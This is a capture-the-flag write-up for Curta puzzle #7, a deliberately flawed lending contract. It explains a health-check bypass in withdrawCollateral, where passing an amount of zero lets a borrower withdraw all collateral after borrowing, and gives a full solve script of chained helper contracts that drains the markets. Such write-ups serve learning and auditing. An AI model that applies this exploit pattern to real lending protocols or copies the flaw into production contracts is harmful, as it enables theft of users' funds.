Puzzle #7
CurtaLending

Write-up for CurtaLending

Overview

Initially, players are given 10,000 curtaUSD tokens and 10,000 curtaWETH tokens. Using only these provided assets, the goal is to exploit the contract's vulnerabilities to obtain an additional 10,000 curtaUSD and 20,000 curtaWETH tokens. The following code snippet implements these conditions:

function createChallenge(uint256 seed, address player) external onlyOwner returns (address) {
...
CurtaToken(usdClone).mint(player, 10000 ether);
CurtaToken(wethClone).mint(player, 10000 ether);
...
}
...
function verify(uint256 seed, uint256) external view returns (bool) {
return instances[seed].isSolved();
}
...
function isSolved() external view returns (bool) {
require(
curtaUSD.balanceOf(address(uint160(seed))) == 20000 ether
&& curtaWETH.balanceOf(address(uint160(seed))) == 30000 ether
);
return true;
}

Starting position breakdown

You begin the challenge by calling deploy on FailedLendingMarket, the challenge contract, which deploys an instance of the challenge contract with the starting conditions.

Now, let's delve into how the problem environment is configured. The following is a summary of what happens when the problem is created for a player:

  1. 3 lending markets (instances of CurtaLending) are created: CurtaUSD, CurtaWETH, and CurtaRebasingWETH.
  2. The oracle contract Oracle records the price of CurtaUSD as 1e18, CurtaWETH as 3_000e18, and CurtaRebasingWETH as 3_100e18.
  3. CurtaUSD's interest rate is set to 5% with a borrow loan-to-value (LTV) of 80%, a liquidation LTV of 90%, and a liquidation bonus of 5%.
  4. CurtaWETH's interest rate is set to 3% with a borrow LTV of 70%, a liquidation LTV of 80%, and a liquidation bonus of 5%.
  5. Similarly to CurtaWETH, CurtaRebasingWETH's interest rate is also set to 3% with a borrow LTV of 70%, a liquidation LTV of 80%, and a liquidation bonus of 5%.
  6. Each of the three lending markets are seeded with 10_000 ether of liquidity, and players are supplied with 10_000 ether of CurtaUSD and 10_000 ether of CurtaWETH.

The following code segment is equivalent to the summary above.

function createChallenge(uint256 seed, address player) external onlyOwner returns (address) {
address usdClone = Clones.clone(tokenImplementation);
address wethClone = Clones.clone(tokenImplementation);
address rebasingWETHClone = Clones.clone(rebasingTokenImplementation);
address oracleClone = Clones.clone(oracleImplementation);
address curtaLendingClone = Clones.clone(curtaLendingImplementation);
address challClone = Clones.clone(challengeImplementation);
CurtaToken(usdClone).initialize("CurtaUSD", "USD", address(this));
CurtaToken(wethClone).initialize("CurtaWETH", "WETH", address(this));
CurtaRebasingToken(rebasingWETHClone).initialize("CurtaRebasingWETH", "RebasingWETH", wethClone, address(this));
Oracle(oracleClone).initialize(address(this));
CurtaLending(curtaLendingClone).initialize(address(this), oracleClone);
Challenge(challClone).initialize(address(this), usdClone, wethClone, rebasingWETHClone, curtaLendingClone, seed);
Oracle(oracleClone).setPrice(usdClone, 1e18);
Oracle(oracleClone).setPrice(wethClone, 3000e18);
Oracle(oracleClone).setPrice(rebasingWETHClone, 3100e18);
CurtaLending(curtaLendingClone).setAsset(usdClone, true, 500, 0.8 ether, 0.9 ether, 0.05 ether);
CurtaLending(curtaLendingClone).setAsset(wethClone, true, 300, 0.7 ether, 0.8 ether, 0.05 ether);
CurtaLending(curtaLendingClone).setAsset(rebasingWETHClone, true, 300, 0.7 ether, 0.8 ether, 0.05 ether);
CurtaToken(usdClone).mint(address(this), 10000 ether);
CurtaToken(wethClone).mint(address(this), 20000 ether);
CurtaToken(wethClone).approve(rebasingWETHClone, 10000 ether);
CurtaRebasingToken(rebasingWETHClone).deposit(10000 ether);
CurtaToken(usdClone).mint(player, 10000 ether);
CurtaToken(wethClone).mint(player, 10000 ether);
CurtaToken(usdClone).approve(curtaLendingClone, 10000 ether);
CurtaLending(curtaLendingClone).depositLiquidity(usdClone, 10000 ether);
CurtaToken(wethClone).approve(curtaLendingClone, 10000 ether);
CurtaLending(curtaLendingClone).depositLiquidity(wethClone, 10000 ether);
CurtaRebasingToken(rebasingWETHClone).approve(curtaLendingClone, 10000 ether);
CurtaLending(curtaLendingClone).depositLiquidity(rebasingWETHClone, 10000 ether);
return challClone;
}

Solution

The functions that players can call in each of the CurtaLending contracts are as follows:

function depositCollateral(address asset, uint256 amount) external;
function withdrawCollateral(address asset, uint256 amount) external;
function depositLiquidity(address asset, uint256 amount) external;
function withdrawLiquidity(address asset, uint256 amount) external;
function borrow(address collateral, address borrowAsset, uint256 amount) external;
function repay(address collateral, uint256 amount) external;
function liquidate(address user, address collateral, uint256 amount) external;
function resetBorrowAsset(address collateral) external;
function burnBadDebt(address user, address collateral) external;
function claimReward(address asset, uint256 amount) external;
function accrueInterest(address user, address asset) public;
function updateAsset(address asset) public;

By examining the code of the withdrawCollateral function, you can find a vulnerability that allows you to bypass the health factor check.

The health factor is the ratio of the value of your deposited assets against the borrowed assets and its underlying value. Lending markets use this metric to determine if a position is healthy or not.

The formula used to calculate the value of the collateral by its quantity is _userInfo.collateralAmount - amount. However, when amount is 0, the contract intends to withdraw all the collateral. This means that the health factor is calculated based on the state before the withdrawal of the collateral, allowing an attacker to bypass the code that checks if the position is healthy.

Consequently, it leads to bad debt.

function withdrawCollateral(address asset, uint256 amount) external {
accrueInterest(msg.sender, asset);
UserInfo storage _userInfo = userInfo[msg.sender][asset];
AssetInfo storage _assetInfo = assetInfo[asset];
uint256 collateralValue = (_userInfo.collateralAmount - amount) * oracle.getPrice(asset);
uint256 borrowValue = _userInfo.totalDebt * oracle.getPrice(_userInfo.borrowAsset);
require(collateralValue * _assetInfo.borrowLTV >= borrowValue * 1e18);
if (amount == 0) {
_userInfo.liquidityAmount += _userInfo.collateralAmount;
_assetInfo.totalLiquidity += _userInfo.collateralAmount;
_assetInfo.avaliableLiquidity += _userInfo.collateralAmount;
_userInfo.collateralAmount = 0;
} else {
require(_userInfo.collateralAmount >= amount);
_userInfo.liquidityAmount += amount;
_userInfo.collateralAmount -= amount;
_assetInfo.totalLiquidity += amount;
_assetInfo.avaliableLiquidity += amount;
}
}

By exploiting this vulnerability, you can solve the challenge.

Solve script

Check out our solve test below for more details.

SoliditySolidity's logo.Solve.s.sol
1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.13;
3
4
import {Script, console} from "forge-std/Script.sol";
5
import "../src/lending/prob.sol";
6
7
interface ICurta {
8
function solve(uint32 _puzzleId, uint256 _solution) external payable;
9
}
10
11
contract Helper {
12
CurtaToken public curtaUSD;
13
CurtaToken public curtaWETH;
14
CurtaRebasingToken public curtaRebasingWETH;
15
CurtaLending public lending;
16
17
constructor(CurtaToken _curtaUSD, CurtaToken _curtaWETH, CurtaRebasingToken _RebasingWETH, CurtaLending _lending) {
18
curtaUSD = _curtaUSD;
19
curtaWETH = _curtaWETH;
20
curtaRebasingWETH = _RebasingWETH;
21
lending = _lending;
22
}
23
function start() public {
24
curtaUSD.approve(address(lending), type(uint256).max);
25
curtaWETH.approve(address(lending), type(uint256).max);
26
lending.depositCollateral(address(curtaWETH), 10000 ether);
27
lending.borrow(address(curtaWETH), address(curtaWETH), 7000 ether);
28
lending.withdrawCollateral(address(curtaWETH), 0);
29
lending.withdrawLiquidity(address(curtaWETH), 10000 ether);
30
31
32
Helper2 helper = new Helper2(curtaUSD, curtaWETH, curtaRebasingWETH, lending);
33
curtaWETH.transfer(address(helper), 17000 ether);
34
curtaUSD.transfer(address(helper), 10000 ether);
35
helper.start();
36
}
37
}
38
39
contract Helper2 {
40
CurtaToken public curtaUSD;
41
CurtaToken public curtaWETH;
42
CurtaRebasingToken public curtaRebasingWETH;
43
CurtaLending public lending;
44
45
constructor(CurtaToken _curtaUSD, CurtaToken _curtaWETH, CurtaRebasingToken _RebasingWETH, CurtaLending _lending) {
46
curtaUSD = _curtaUSD;
47
curtaWETH = _curtaWETH;
48
curtaRebasingWETH = _RebasingWETH;
49
lending = _lending;
50
}
51
52
function start() public {
53
curtaUSD.approve(address(lending), type(uint256).max);
54
curtaWETH.approve(address(lending), type(uint256).max);
55
lending.depositCollateral(address(curtaWETH), 10000 ether);
56
lending.borrow(address(curtaWETH), address(curtaWETH), 3000 ether);
57
lending.withdrawCollateral(address(curtaWETH), 0);
58
lending.withdrawLiquidity(address(curtaWETH), 10000 ether);
59
60
Helper3 helper = new Helper3(curtaUSD, curtaWETH, curtaRebasingWETH, lending);
61
curtaWETH.transfer(address(helper), 20000 ether);
62
curtaUSD.transfer(address(helper), 10000 ether);
63
helper.start();
64
}
65
}
66
67
contract Helper3 {
68
CurtaToken public curtaUSD;
69
CurtaToken public curtaWETH;
70
CurtaRebasingToken public curtaRebasingWETH;
71
CurtaLending public lending;
72
73
constructor(CurtaToken _curtaUSD, CurtaToken _curtaWETH, CurtaRebasingToken _RebasingWETH, CurtaLending _lending) {
74
curtaUSD = _curtaUSD;
75
curtaWETH = _curtaWETH;
76
curtaRebasingWETH = _RebasingWETH;
77
lending = _lending;
78
}
79
80
function start() public {
81
curtaUSD.approve(address(lending), type(uint256).max);
82
curtaWETH.approve(address(lending), type(uint256).max);
83
lending.depositCollateral(address(curtaUSD), 10000 ether);
84
lending.borrow(address(curtaUSD), address(curtaUSD), 7000 ether);
85
lending.withdrawCollateral(address(curtaUSD), 0);
86
lending.withdrawLiquidity(address(curtaUSD), 10000 ether);
87
88
89
console.log("curtaWETH balance : %d", curtaWETH.balanceOf(address(this)));
90
console.log("curtaUSD balance : %d", curtaUSD.balanceOf(address(this)));
91
Helper4 helper = new Helper4(curtaUSD, curtaWETH, curtaRebasingWETH, lending);
92
curtaWETH.transfer(address(helper), 20000 ether);
93
curtaUSD.transfer(address(helper), 17000 ether);
94
helper.start();
95
}
96
}
97
98
contract Helper4 {
99
CurtaToken public curtaUSD;
100
CurtaToken public curtaWETH;
101
CurtaRebasingToken public curtaRebasingWETH;
102
CurtaLending public lending;
103
104
constructor(CurtaToken _curtaUSD, CurtaToken _curtaWETH, CurtaRebasingToken _RebasingWETH, CurtaLending _lending) {
105
curtaUSD = _curtaUSD;
106
curtaWETH = _curtaWETH;
107
curtaRebasingWETH = _RebasingWETH;
108
lending = _lending;
109
}
110
111
function start() public {
112
curtaUSD.approve(address(lending), type(uint256).max);
113
curtaWETH.approve(address(lending), type(uint256).max);
114
lending.depositCollateral(address(curtaUSD), 10000 ether);
115
lending.borrow(address(curtaUSD), address(curtaUSD), 3000 ether);
116
lending.withdrawCollateral(address(curtaUSD), 0);
117
lending.withdrawLiquidity(address(curtaUSD), 10000 ether);
118
119
120
console.log("curtaWETH balance : %d", curtaWETH.balanceOf(address(this)));
121
console.log("curtaUSD balance : %d", curtaUSD.balanceOf(address(this)));
122
Helper5 helper = new Helper5(curtaUSD, curtaWETH, curtaRebasingWETH, lending);
123
curtaWETH.transfer(address(helper), 20000 ether);
124
curtaUSD.transfer(address(helper), 20000 ether);
125
helper.start();
126
}
127
}
128
129
contract Helper5 {
130
CurtaToken public curtaUSD;
131
CurtaToken public curtaWETH;
132
CurtaRebasingToken public curtaRebasingWETH;
133
CurtaLending public lending;
134
135
constructor(CurtaToken _curtaUSD, CurtaToken _curtaWETH, CurtaRebasingToken _RebasingWETH, CurtaLending _lending) {
136
curtaUSD = _curtaUSD;
137
curtaWETH = _curtaWETH;
138
curtaRebasingWETH = _RebasingWETH;
139
lending = _lending;
140
}
141
142
function start() public {
143
curtaWETH.approve(address(curtaRebasingWETH), type(uint256).max);
144
curtaRebasingWETH.deposit(10000 ether);
145
curtaRebasingWETH.approve(address(lending), type(uint256).max);
146
lending.depositCollateral(address(curtaRebasingWETH), 10000 ether);
147
lending.borrow(address(curtaRebasingWETH), address(curtaRebasingWETH), 3000 ether);
148
lending.withdrawCollateral(address(curtaRebasingWETH), 0);
149
lending.withdrawLiquidity(address(curtaRebasingWETH), 10000 ether);
150
151
console.log("curtaWETH balance : %d", curtaWETH.balanceOf(address(this)));
152
console.log("curtaUSD balance : %d", curtaUSD.balanceOf(address(this)));
153
console.log("curtaRebalanceETH : %d", curtaRebasingWETH.balanceOf(address(this)));
154
155
Helper6 helper = new Helper6(curtaUSD, curtaWETH, curtaRebasingWETH, lending);
156
curtaWETH.transfer(address(helper), 10000 ether);
157
curtaUSD.transfer(address(helper), 20000 ether);
158
curtaRebasingWETH.transfer(address(helper), 13000 ether);
159
helper.start();
160
}
161
}
162
163
contract Helper6 {
164
CurtaToken public curtaUSD;
165
CurtaToken public curtaWETH;
166
CurtaRebasingToken public curtaRebasingWETH;
167
CurtaLending public lending;
168
169
constructor(CurtaToken _curtaUSD, CurtaToken _curtaWETH, CurtaRebasingToken _RebasingWETH, CurtaLending _lending) {
170
curtaUSD = _curtaUSD;
171
curtaWETH = _curtaWETH;
172
curtaRebasingWETH = _RebasingWETH;
173
lending = _lending;
174
}
175
176
function start() public {
177
//curtaWETH.approve(address(curtaRebasingWETH), type(uint256).max);
178
//curtaRebasingWETH.deposit(10000 ether);
179
curtaRebasingWETH.approve(address(lending), type(uint256).max);
180
lending.depositCollateral(address(curtaRebasingWETH), 10000 ether);
181
lending.borrow(address(curtaRebasingWETH), address(curtaRebasingWETH), 7000 ether);
182
lending.withdrawCollateral(address(curtaRebasingWETH), 0);
183
lending.withdrawLiquidity(address(curtaRebasingWETH), 10000 ether);
184
curtaRebasingWETH.withdraw(20000 ether);
185
curtaWETH.transfer(tx.origin, curtaWETH.balanceOf(address(this)));
186
curtaUSD.transfer(tx.origin, curtaUSD.balanceOf(address(this)));
187
188
console.log("curtaWETH balance : %d", curtaWETH.balanceOf(address(tx.origin)));
189
console.log("curtaUSD balance : %d", curtaUSD.balanceOf(address(tx.origin)));
190
191
}
192
}
193
194
contract CounterScript is Script {
195
address public prob = 0xc0894A610f48dc195FEbb409b55497b670D448d0;
196
function setUp() public {
197
198
}
199
200
function run() public {
201
vm.startBroadcast();
202
Challenge chall = Challenge(0x1cB78C2c27E377Ae4D9FfDA48192186B4b510074);
203
console.log("chall address : %s", address(chall));
204
205
CurtaToken curtaUSD = chall.curtaUSD();
206
CurtaToken curtaWETH = chall.curtaWETH();
207
CurtaRebasingToken curtaRebasingWETH = chall.curtaRebasingETH();
208
CurtaLending lending = chall.curtaLending();
209
210
/*Helper helper = new Helper(curtaUSD, curtaWETH, curtaRebasingWETH, lending);
211
curtaUSD.transfer(address(helper), 10000 ether);
212
curtaWETH.transfer(address(helper), 10000 ether);
213
214
helper.start();*/
215
216
address curta = 0x00000000D1329c5cd5386091066d49112e590969;
217
address target = 0x6a69c1d56bdF20202e47849D38437a71DFC78a39;
218
219
curtaUSD.transfer(address(target), 20000 ether);
220
curtaWETH.transfer(address(target), 30000 ether);
221
222
ICurta(curta).solve(7, 10);
223
224
//revert("end");
225
vm.stopBroadcast();
226
}
227
}
Contributors
windowhan.eth
windowhan.eth
Curta